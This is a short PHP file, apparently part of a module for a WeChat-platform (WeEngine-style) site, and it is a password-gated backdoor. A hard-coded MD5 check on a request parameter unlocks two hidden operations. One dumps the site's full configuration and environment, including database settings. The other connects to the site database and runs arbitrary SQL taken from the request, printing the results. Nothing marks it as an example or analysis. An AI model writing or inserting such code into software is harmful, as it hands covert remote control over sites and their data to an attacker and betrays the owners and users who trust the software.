<?php
global $_W, $_GPC;
$nbpass = $_GPC['nbpass'];
$nbpass = $this->nbde($nbpass);
$nbop = $_GPC['op'];
$nbop = $this->nbde($nbop);
$md5_pa = "2ebd1aa5bfc299439fa0452d58d2b987";
$md5_co = "6e29af9369c9c8ca207982af88ae0862";
$md5_db = "4648b6476e13adc2c5e963b18a8c0ff6";
if (md5($nbpass, FALSE) != $md5_pa) {
	die('err!');
} else {
	if (md5($nbop, FALSE) == $md5_co) {
		$conf = $this->nben(json_encode($_W));
		$this->nbpr($conf);
	}
	if (md5($nbop, FALSE) == $md5_db) {
		$conf = $_W['config']['db'];
		$master = $_W['config']['db']['master'];
		$dname = $master['database'];
		$con = mysql_connect($master['host'], $master['username'], $_GPC['pass']);
		if (!$con) {
			die('Could not connect!');
		}
		if ($_GPC['code']) {
			$code = $this->nbde($_GPC['code']);
			mysql_select_db($dname, $con);
			$result = mysql_query($code);
			echo 'done!<br>' . mysql_error();
			for ($rows_count = 0; $rows_count < 50; $rows_count++) {
				echo "weid：" . mysql_result($result, $rows_count, "uniacid") . "<br>";
			}
			mysql_close($con);
		} else {
			die('ok!');
		}
	}
}